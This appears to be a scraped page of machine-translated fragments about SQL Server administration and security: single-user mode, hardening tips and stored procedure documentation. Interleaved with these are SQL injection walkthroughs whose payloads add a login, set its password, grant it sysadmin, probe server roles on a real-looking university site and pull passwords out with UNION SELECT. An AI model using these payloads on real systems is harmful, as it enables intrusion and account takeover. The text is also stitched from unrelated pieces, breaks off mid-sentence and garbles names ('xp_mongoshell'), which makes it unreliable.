recover damaged system databases. When SQL Server is started in single-user mode, any member of the local Administrators Group can be connected as a member of the sysadmin Server role to the SQL Server database engine (instance ).
Note:: Stop the SQL Server Agent service before starting in single-user mode to prevent the SQL Server Agent from occupying this unique connection.
1. Enable single-user mode
1. Open SSCM (SQL Server Configuration Manager
: xp_mongoshell {'COMMAND _ string'} [, no_output]
By default, xp_mongoshell can only be executed by sysadmin members. However, sysadmin can also grant this execution permission to other users. In earlier versions, users who obtained the xp_cmdshell Execution permission run commands in the user account of SQL Server. You can configure SQL Server by configuring options so that users who do not have sa access
available user, select "security"> "Login Name"> "User ing", and select a database.
Problem description: After logging on to the database with the newly created account, only the system database is found, and the system prompts "data cannot be retrieved for this request"
Solution: use an account with sysadmin permissions to log on, and right-click the new user name in "security"-"login name, in the displayed "Logon properties" dialog box, select "ser
This section describes ten things you can do to improve the security of SQL Server installation:
Install the latest service package
To improve Server security, the most effective method is to upgrade to SQL Server 2000 Service Pack 4 (SP4 ). In addition, you should install all released security updates.
Use the Microsoft Baseline Security Analyzer (MBSA) to evaluate server security.
MBSA is a tool that scans insecure configurations of multiple Microsoft products, including SQL Server and Microso
The increasing growth of SQL Server databases has attracted a kind of attention. At the same time, those images are still coming. In order to protect the SQL Server database, to protect it from malicious damage or data loss, the top ten tricks will solve these concerns for you. 1. install the latest service package
To improve Server security, the most effective method is to upgrade to SQL Server 2000 Service Pack 3a (SP3a). In addition, you should install all released security updates.
2. Use Mi
insecure configurations of multiple Microsoft products, including SQL Server and Microsoft SQL Server 2000 Desktop Engine (MSDE 2000 ). It can run locally or through the network. This tool detects the installation of SQL Server for the following issues:
Too many sysadmin fixed server role members.
Authorize a role other than sysadmin to create a CmdExec job.
Empty or simple password.
Fragile Authentication
account must be a SYSADMIN Group]News. asp? Id = 2; exec master. dbo. sp_addlogin test, test; -- // Add the database user test with the password testNews. asp? Id = 2; exec master. dbo. sp_password test, 123456, test; -- // if you want to change the password, use this sentence (change the password of test to 123456)News. asp? Id = 2; exec master. dbo. sp_addsrvrolemember test, sysadmin; -- // Add test to t
1. Do not use sa for accounts connecting ASP programs to SQL Server, or any accounts belonging to the Sysadmin group. do not have high permissions for application services, A general user with the db_owner permission should be used to connect to the database.2. The WEB application Server and the DB Server use different machines for storage, and it is best to use the firewall to perform logical isolation between them, because apart from the SQL Server
If you accidentally forget the SQLServer administrator password (that is, all administrator passwords are forgotten), or you need to forcibly add another administrator account, you need a remedy. SQLServer provides a single user mode
If you accidentally forget the SQLServer administrator password (that is, all administrator passwords are forgotten), or you need to forcibly add another administrator account, you need a remedy. SQLServer provides a single user mode
If you accidentally forget th
3, all databases can pop up. 2.1.7 determine the user permission judgment server role: yjsc.ahau.edu.cn/web/InfoKindList.aspx? Kind = 0103 'and 1 = (select IS_SRVROLEMEMBER ('sysadmin') and '1'!> '3 server role permissions include sysadmin, serveradmin, setupadmin, securityadmin, diskadmin, and bulkadmin to determine database roles: yjsc.ahau.edu.cn/web/InfoKindList.aspx? Kind = 0103 'and 1 = (select is_me
(login_blank> _ id )-Union select top 1COLUMN_blank> _ name from INFORMATION_blank> _ SCHEMA. COLUMNS WHERETABLE_blank> _ NAME = logintable WHERE COLUMN_blank> _ NAME NOT IN(Login_blank> _ id, login_blank> _ name )-Union select top 1Login_blank> _ name FROM logintable-Union select top 1 password FROMLogintable where login_blank> _ name = Rahul --Check _ blank> server patch = SP4 patch hit ErrorAnd 1 = (select @ VERSION )--Check the permissions of the _ blank> database connection account. The re
an int column, you can use the method described below to obtain system management permissions, if a syntax error occurs when "abc" is used to convert a column whose data type is int, you cannot use the following description to obtain system permissions.
After obtaining the preceding information, you can submit the following URL to obtain the SQL administrator and system permissions step by step.
(1) http://www.xxx.com/new/new.asp? Id = 49; execAster. dbo. sp_addlogin fmzm ;--Add an SQL user(2)
analyzer. Therefore, we must first make sure that, even if others are injected, attackers cannot take the next step. Modification Method: Enterprise Manager> your database group> Properties> General> network configuration> TCP/IP properties. Modify your default port here, and SQL SERVER hiding.
Step 3 is an important step. SQL INJECTION is usually generated in WEB CODE. As a system administrator or database administrator, you cannot view every piece of code frequently. Even if we often read th
have them anyway. I blackmailed him that day! Now let's continue!
This server is safe for us in terms of system, so I should proceed with the script. Let's take a look at the permissions of his database connection account and submit:
Http://www.something.com/script.asp? Id = 2 and 1 = (select is_srvrolemember ('sysadmin '))
The returned result is normal, which proves that the account currently connected is the server role
Sp_detach_dbDetach the database from the server, and you can choose to run update statistics on all tables before the separation.
SyntaxSp_detach_db [@ dbname =] 'dbname'[, [@ Skipchecks =] 'skipcheck']
Parameters[@ Dbname =] 'dbname'
Name of the database to be detached. The data type of dbname is sysname, and the default value is null.
[@ Skipchecks =] 'skipcheck'
The data type of skipchecks is nvarchar (10), and the default value is null. If the value is true, update statistics is skipped.If i
= 2 and 1 = 1IE returns a normal record.Submit http://www.something.com/script.asp? Id = 2 and 1 = 2No record is returned for IE.Now, the injection vulnerability exists. We can use this vulnerability to obtain information about the server and database. For example, if you want to check the server patch, submit the following:Http://www.something.com/script.asp? Id = 2 and 1 = (select @ Version)An error occurred. The error message 1 is returned by IE:
Figure 1It seems that the server has been pat
[the current account must be a SysAdmin Group]
News. asp? Id = 2; Exec master. DBO. sp_addlogin Test, test; -- // Add the database user test with the password TestNews. asp? Id = 2; Exec master. DBO. sp_password test, 123456, test; -- // if you want to change the password, use this sentence (change the password of test to 123456)News. asp? Id = 2; Exec master. DBO. SP_ADDSRVROLEMEMBER test, SysAdmin; -- //
Set quoted_identifier onGoSet ansi_nulls offGo
Create procedure sp_password@ Old sysname = NULL, -- the old (current) password@ New sysname, -- the new password@ Loginame sysname = NULL -- user to change password onAs-- Setup runtime options/declare variables --Set nocount onDeclare @ self intSelect @ self = case when @ loginame is null then 1 else 2 end
-- Resolve Login NameIf @ loginame is nullSelect @ loginame = suser_sname ()
-- Check permissions (securityadmin Per Richard Waymire )--If (not
permissions to SysAdmin. This permission improvement occurs because these roles can modify the integration services package, while SQL server can use the SysAdmin security context of the SQL Server proxy to execute the integration services package. To prevent this permission escalation when running maintenance plans, data collection groups, and other integration services packages, configure the SQL Server
enters the correct password information. This option is invalid for SysAdmin.
If you select "Disable" in "Logon", the statement is executed:Alter login [user_xxgl] disable
At this time, no matter whether the DBMS finds that the user currently attempting to connect is user_xxgl and the user enters the correct password information, it prompts the user that the user has been suspended and the password is correct. This option cannot be applied to users
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.